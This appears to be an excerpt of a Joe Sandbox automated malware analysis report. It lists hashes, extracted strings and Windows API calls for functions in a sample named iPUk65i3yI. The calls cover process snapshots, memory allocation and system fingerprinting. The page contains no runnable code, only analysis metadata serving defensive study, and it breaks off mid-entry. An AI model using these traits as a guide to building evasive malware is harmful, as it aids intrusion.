Instruction ID: 368cbe518a004d91c844a8922d65ddcbde3b63ca03ed0cce2041834018fe7c5f
Opcode Fuzzy Hash: 34397599d365594b1f27bb1d2b1b2e758320cc75eb18bdda5297ea087a9b94d1
Instruction Fuzzy Hash: B9329B70604B528AD726CF34D8A4BE3BBE1EF56308F48496DD0FB8B282C7796446CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00404740 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IEND, xrefs: 00404C7E
), xrefs: 004047ED
IDAT, xrefs: 00404C05
IHDR, xrefs: 00404B89

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 999feb72cb34461e31fad44a3bfa48fb88dcf5108d16b411e1a0856aea14924b
Instruction ID: 616d1399deee0a63aede7b3c3a380fc91103d69987d9aa92d37846ddb7d7f5fd
Opcode Fuzzy Hash: 999feb72cb34461e31fad44a3bfa48fb88dcf5108d16b411e1a0856aea14924b
Instruction Fuzzy Hash: 6312EFB1A083448FD714CF29DC9076A7BE1EF85304F04857EEA849B392D779D909CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00415999 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

x, xrefs: 004159DA

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: ad05adff6cc53639aa453a7d6789a5a507c4f618ea68bd813a2b9754d8c9e1cc
Instruction ID: 5e393febd6900f2cd60b323e8f13313b4837cbc21583559a6409e5a725ef4311
Opcode Fuzzy Hash: ad05adff6cc53639aa453a7d6789a5a507c4f618ea68bd813a2b9754d8c9e1cc
Instruction Fuzzy Hash: D071A1B15087818BD324CF24C49179BFBE1AFD5344F04892EE5D987382D639D949CB56

Uniqueness

Uniqueness Score: -1.00%

Function 02D78196 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02D781BE
Module32First.KERNEL32(00000000,00000224), ref: 02D781DE

Memory Dump Source

Source File: 00000000.00000002.1992264656.0000000002D77000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D77000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d77000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 64f577cd71c40e2947987f84ee76c9c4e3df15e1008a6aa046d0c902893b4b6d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F3F0C2316007106BD7203AF59C8CB6B76EDBF49625F100528EA42E21C0EB74EC05AA60

Uniqueness

Uniqueness Score: -1.00%

Function 00414C49 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

onqp, xrefs: 00414CBE
F, xrefs: 00414D3C, 00415984

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: onqp$F
API String ID: 0-3477909023
Opcode ID: c3083e97637d1b98026382a83799bf2342d2e2ddf52232be111aac2c52a1a691
Instruction ID: 63a37f33c9773b82383deb7d5d266ebc64ff0dd11a4c80cef5b7f70997e62e81
Opcode Fuzzy Hash: c3083e97637d1b98026382a83799bf2342d2e2ddf52232be111aac2c52a1a691
Instruction Fuzzy Hash: 3121A3B96183418FD72CCF04D5A07BFB7E2AFC6708F54182DE9824B381C77998418B8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041C540 Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

onqp, xrefs: 0041C866

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: f26432a11f0e7628f2c7279f7c5f6f07fb9995b0172de89e613e759d3e56c9af
Instruction ID: 443a94687d516e7fce39df943a97d10845015d358397bdc9878ab89e8d70c56d
Opcode Fuzzy Hash: f26432a11f0e7628f2c7279f7c5f6f07fb9995b0172de89e613e759d3e56c9af
Instruction Fuzzy Hash: AAA1FFB16443018BD714EF14CCA1BABB3E1FF95724F18491EE49287391E378E991CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00433CC0 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00438D36,005C003F,00000006,?,?,00000018,82818087,?,ZKA), ref: 00433CED

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: c1b3d4492825e51a2129b00b8cd86cf652684bda125d9e4c8d1b0ba6372c1005
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 74E0B675508212EBDA05DF45C14051FF7E2BFC4B14F55C88EE88433204C7B8AD45DB42

Uniqueness

Uniqueness Score: -1.00%

Function 004137C9 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

E&eb, xrefs: 00413787

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: E&eb
API String ID: 0-175690455
Opcode ID: e98a84fdc1d20ca021328a73e32aeb666d55a0fa0048f113b6151455cacfdda1
Instruction ID: b8f5a8e3dcf807d80dac774d48860337069215117526bb8331fba5c9a38cef06
Opcode Fuzzy Hash: e98a84fdc1d20ca021328a73e32aeb666d55a0fa0048f113b6151455cacfdda1
Instruction Fuzzy Hash: D931B1B1600B018BC725DF75C881AA7B3E2EF89314F18892DD0AAC7791E739F5818744

Uniqueness

Uniqueness Score: -1.00%

Function 004204B7 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46fbeddb66f7a8c04074172de88dd742a5524ad022029cc08458de20aa75746c
Instruction ID: 33964663c1c25b7ce45e863f8a9a155cb930722d678f5f3125d4410b750ac910
Opcode Fuzzy Hash: 46fbeddb66f7a8c04074172de88dd742a5524ad022029cc08458de20aa75746c
Instruction Fuzzy Hash: C0E168B8600B018FD328CF25D994B27B7E5FB49308F84492DE49687B62E778F845CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00420CA0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 68a2294082866bf6114f45707dfe1b1796c80333bdd16e9bd7e32dcba99880e2
Instruction ID: cfdd1eac7a752c9895d8910292a9cdf1f7f4ab7debb0d412fb0fa544ba69e460
Opcode Fuzzy Hash: 68a2294082866bf6114f45707dfe1b1796c80333bdd16e9bd7e32dcba99880e2
Instruction Fuzzy Hash: E3C1E2B1B083518FD314CF18D89072BB7E1EB95318F65492EF49587392E379D845CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00432010 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 816d739d9816e7563fb8951fe6eb3b7e7680ee0badac0fb37556324e6883847d
Instruction ID: 2ad7af327792f261ff722e5f1da2ed22df55520e29869c472b0f36c5ca345de1
Opcode Fuzzy Hash: 816d739d9816e7563fb8951fe6eb3b7e7680ee0badac0fb37556324e6883847d
Instruction Fuzzy Hash: E6A18A74600B018FE728CF25C994B17B7E1FB49304F14896DE5AA8BB91D779F905CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00433D10 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f93c6d70c7d567d40c62c44ae16b965ed5b1ad59c69b285aa2d3c541235419ac
Instruction ID: be2f659581eec67e65d3233d53e9a8afebf0bf0bc19166d434e5d2f0596eea41
Opcode Fuzzy Hash: f93c6d70c7d567d40c62c44ae16b965ed5b1ad59c69b285aa2d3c541235419ac
Instruction Fuzzy Hash: C881BD70A083029BE314CF14C494B2BBBE1FB89759F64991DF4855B392D378DE45CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00422458 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b5f4f53ba419257f2c99d53f27223171b991d6193ee5832ef2f56c753d8d8e1
Instruction ID: 4c680af95089d7f0266524c2a1d5a39c2a6c001387b2c56eb0ee7e33708b2ad5
Opcode Fuzzy Hash: 5b5f4f53ba419257f2c99d53f27223171b991d6193ee5832ef2f56c753d8d8e1
Instruction Fuzzy Hash: FB5168742007119BD724CF28C861B62B3F1FF4A318F548A5DE8968B7A1D779B845CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004357CA Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8b148af547a59128bb71e64be0d4d12e62a739c123e6228515b622e6ca986d7
Instruction ID: e2717505d55db8640db63e85cfe19b0466bde158ad5ac179620a4d1d884c2fba
Opcode Fuzzy Hash: a8b148af547a59128bb71e64be0d4d12e62a739c123e6228515b622e6ca986d7
Instruction Fuzzy Hash: 124179746083029BE708DF04C594B2FB7E6BFDA718F68591DE0858B341D338ED169B9A

Uniqueness

Uniqueness Score: -1.00%

Function 004359E2 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2911f6e714779df75f77f4e9c30eb5bfbff7d856db354c347998ed89740c5d8
Instruction ID: c1c90ed302c5d13420f5bca68ce5e1754aac3df7c22edd8dd8ca255a1c6ae94c
Opcode Fuzzy Hash: a2911f6e714779df75f77f4e9c30eb5bfbff7d856db354c347998ed89740c5d8
Instruction Fuzzy Hash: 2C216D746083029BE310DF04C994B1FB7F2BBC5B08F245A1DE1949B396C779DC059B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00429597 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71eeffcf46f1b7fa9e56d8600949dbbcd25cfd78c9bd91e554dbcc0743bda1b8
Instruction ID: e757895f7bb26a2b2320ca7d8dd105008f44d0bd9ca2c0e57cc8f66670818d05
Opcode Fuzzy Hash: 71eeffcf46f1b7fa9e56d8600949dbbcd25cfd78c9bd91e554dbcc0743bda1b8
Instruction Fuzzy Hash: 43E0E5B06083018FC314EF28D591B5BBBE0FB89304F12C82DE49A8B254D779A944CB45

Uniqueness

Uniqueness Score: -1.00%

Function 02CF003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02CF024D

Strings

cess, xrefs: 02CF018D
kernel32.dll, xrefs: 02CF008F, 02CF0095

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: f52d848a7eb621d3bcf27de12283cb4e466daf3c2a9a7caa30bfd242752cbc5a
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 83525B74A01229DFDBA4CF58C984BACBBB1BF09314F1480D9E54DAB356DB30AA85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0041D690 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041D77D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041D7A8

Strings

-^, xrefs: 0041D6B7
AV, xrefs: 0041D6AF
SE, xrefs: 0041D6A7
X&, xrefs: 0041D6BF

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&
API String ID: 237503144-3017178743
Opcode ID: 126da50c2d0a41b480321852bc94709b34504f4e9e0a0586602205dd78c64019
Instruction ID: 414b802ac07eb15e34250c72f36e95362d79bb1e0692564b293e6573eb188213
Opcode Fuzzy Hash: 126da50c2d0a41b480321852bc94709b34504f4e9e0a0586602205dd78c64019
Instruction Fuzzy Hash: 7A71AAB06083518FE324CF14D8A0BABB7E1EFC6314F114A2DE8E95B280D7789945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00414950 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0041499D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 004149CE

Strings

2M#O, xrefs: 004149EC
<Y.[, xrefs: 00414A5E
qrs, xrefs: 00414A04
r]Nm, xrefs: 00414B69

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 2M#O$<Y.[$r]Nm$qrs
API String ID: 237503144-2765572984
Opcode ID: 1eeaee2e8186193ac6611b8cf20863375f2d41a74451ba6092e37ba744e7f2b9
Instruction ID: f437b4c60a0e393287c60c1191dc60451405bce4f387bbd6b600237a0ee68e47
Opcode Fuzzy Hash: 1eeaee2e8186193ac6611b8cf20863375f2d41a74451ba6092e37ba744e7f2b9
Instruction Fuzzy Hash: C751B2B46183419FD320CF14D891BABB7E5EFC6324F054A1DF9958B381E3B89941CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00424AF5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004250BF

Strings

hFt=, xrefs: 00425203
P6D+, xrefs: 00424FA1
M:h:, xrefs: 0042520A

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: M:h:$P6D+$hFt=
API String ID: 3960555810-4191368970
Opcode ID: c278c4235c0e40e0a55a1437a375328b041559dd9e5fde0177f8855f0f599da5
Instruction ID: 6d38b88902e1eb16ca30da568e3269f0221434b507219f1e067bc0dfabd335eb
Opcode Fuzzy Hash: c278c4235c0e40e0a55a1437a375328b041559dd9e5fde0177f8855f0f599da5
Instruction Fuzzy Hash: 6BF14C70504F928BD726CF35C4687A3BBE1AF56308F44496EC4FA8B792C779A406CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00424F8F Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004250BF

Strings

hFt=, xrefs: 00425203
P6D+, xrefs: 00424FA1
M:h:, xrefs: 0042520A

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: M:h:$P6D+$hFt=
API String ID: 3960555810-4191368970
Opcode ID: f007e3d9ca2201ad5f316ff58b39a856bbcbb1e41c1eb315934e33bab86fd111
Instruction ID: f66b18d75a9a4d2bb6148ac8f6660ab2d7ad2189567b3251afa320a6a21df7b8
Opcode Fuzzy Hash: f007e3d9ca2201ad5f316ff58b39a856bbcbb1e41c1eb315934e33bab86fd111
Instruction Fuzzy Hash: 0ED15A70504F528BE726CF35C4A87A7BBE1AF56308F44496DC0FA8B792C779A406CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041E08D
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041E0BC

Strings

ru, xrefs: 0041DFDB
M3, xrefs: 0041E171, 0041E175

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ru$M3
API String ID: 237503144-652937946
Opcode ID: 7291a3a811873626bd3b785a5b847c75c0ba1258cac978df8a67f20d3e36ac33
Instruction ID: ee0422986e9a500056daf517ec787597a82c07e08ececa7a1628db096f87ed23
Opcode Fuzzy Hash: 7291a3a811873626bd3b785a5b847c75c0ba1258cac978df8a67f20d3e36ac33
Instruction Fuzzy Hash: 585153B5108381AFE314CF01C990B5BBBE5ABCA354F10892DF8A55B381C775DA868B96

Uniqueness

Uniqueness Score: -1.00%

Function 00431DD5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00431E18

Strings

C, xrefs: 00431DD5
:, xrefs: 00431DDC
\, xrefs: 00431DE3

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: 66204d55befe17f0d94a4a8d29d4561092dd70cceac0cbdb9e091147346ca143
Instruction ID: c07b020124bcaf9168d5cc752a0c39b43d1a69f77c2585f3e396cbfa2ffbe00c
Opcode Fuzzy Hash: 66204d55befe17f0d94a4a8d29d4561092dd70cceac0cbdb9e091147346ca143
Instruction Fuzzy Hash: 09F06574654301BBE328CF10ED27F1A72A49F86B04F20982DB245961D0E7B5AA189A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00408C80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00408CFE

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 00408CBD

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: ExitProcess
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 621844428-4175449110
Opcode ID: fabb64060f129b09b2fb295de89773e3c4aadf7bbb2d4122ec10e8a8cd5565c7
Instruction ID: 59104990f458cfd7c5091e5889e4cb5e8d5d284f7426018ae83b6ee6547e8fc3
Opcode Fuzzy Hash: fabb64060f129b09b2fb295de89773e3c4aadf7bbb2d4122ec10e8a8cd5565c7
Instruction Fuzzy Hash: 8CF081B180D61496FA107BB56B0A26A3E786F20354F10063FE8C2751C2EE3D444952BF

Uniqueness

Uniqueness Score: -1.00%

Function 0042D608 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042D6B9
GetSystemMetrics.USER32 ref: 0042D6CA

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: 9f3c4366f6acc61bef91b6474569325c5038b687278105cc48c3da76987b540e
Instruction ID: e31df5cf53579e26f0d038b5bc67af8e11bea7006768dfca6b49015060dc1ea9
Opcode Fuzzy Hash: 9f3c4366f6acc61bef91b6474569325c5038b687278105cc48c3da76987b540e
Instruction Fuzzy Hash: D53154B4A10B009FD360DF3DC945A22BBE8FB0C600B100A2DE99AC7B50E734B8448B96

Uniqueness

Uniqueness Score: -1.00%

Function 00417810 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0041784A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041787E

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 591883fc8cc7e98f5393b82a229ecb00a65222f46bfedd7c35e61c2a286ee97b
Instruction ID: 5e955635065adc13492d4d85393db762cd4c4b4ecf76f0ca5c4caab7127c9149
Opcode Fuzzy Hash: 591883fc8cc7e98f5393b82a229ecb00a65222f46bfedd7c35e61c2a286ee97b
Instruction Fuzzy Hash: EF0104719082047BE7109B65DC86FA77BACEB86774F044629F965C72D0E730A814CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 02CF0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02CF0223,?,?), ref: 02CF0E19
SetErrorMode.KERNELBASE(00000000,?,?,02CF0223,?,?), ref: 02CF0E1E

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f40b6a7c0d257f705cb0e7d4435728bf201dbb2aa5362d75ca5dd7b1c55b98c4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 97D01231545128B7D7402A94DC09BCD7B1CDF05B66F008011FB0DD9081C770964046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00427F5A Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00428071

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

